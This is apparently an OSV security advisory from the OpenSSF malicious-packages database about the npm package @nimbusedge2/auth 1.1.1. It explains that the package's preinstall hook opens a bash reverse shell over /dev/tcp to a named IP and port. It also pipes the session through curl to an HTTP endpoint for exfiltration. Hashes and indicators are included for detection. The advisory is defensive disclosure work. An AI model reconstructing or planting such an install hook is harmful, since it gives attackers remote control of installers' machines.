{"id":"MAL-2026-16302","summary":"Malicious code in @nimbusedge2/auth (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba)\n@nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs `bash -i` with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that host as the installing user. The same script pipes the shell session through `curl -s -m 5 -X POST --data-binary @-` to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at `npm install` time.\n","modified":"2026-09-21T03:30:17.628624443Z","published":"2026-09-21T03:06:56Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["1.1.1"],"id":"IN-MAL-2026-020201","import_time":"2026-09-21T03:24:20.86833173Z","modified_time":"2026-09-21T03:06:56Z","sha256":"00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@nimbusedge2/auth/v/1.1.1"}],"affected":[{"package":{"name":"@nimbusedge2/auth","ecosystem":"npm","purl":"pkg:npm/%40nimbusedge2/auth"},"versions":["1.1.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@nimbusedge2/auth/MAL-2026-16302.json","cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"ee6884b33a3db15e1433d3a6696c6ccbb5fc1e6f7d5513d77032599908bc4365","tlsh":"3ae0c6341820a93b2cca4be1722283a136b47b2f4ca01c0cd9c302892b1dad9281aa48"}],"package_integrity":[{"hashes":{"sha512_sri":"sha512-Ln0gnz/SrtL6xkrwGG63rNr1/ZS8AO9kY15xcZrhh4wQGIrMxLR9n9IdTV+9/12qfZ9s0G0xrTrIcJ7ikQLfmA==","sha1":"26c1b0a37c51183d67038a332f933149d6b48ddf"},"filename":"auth-1.1.1.tgz"}]}}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}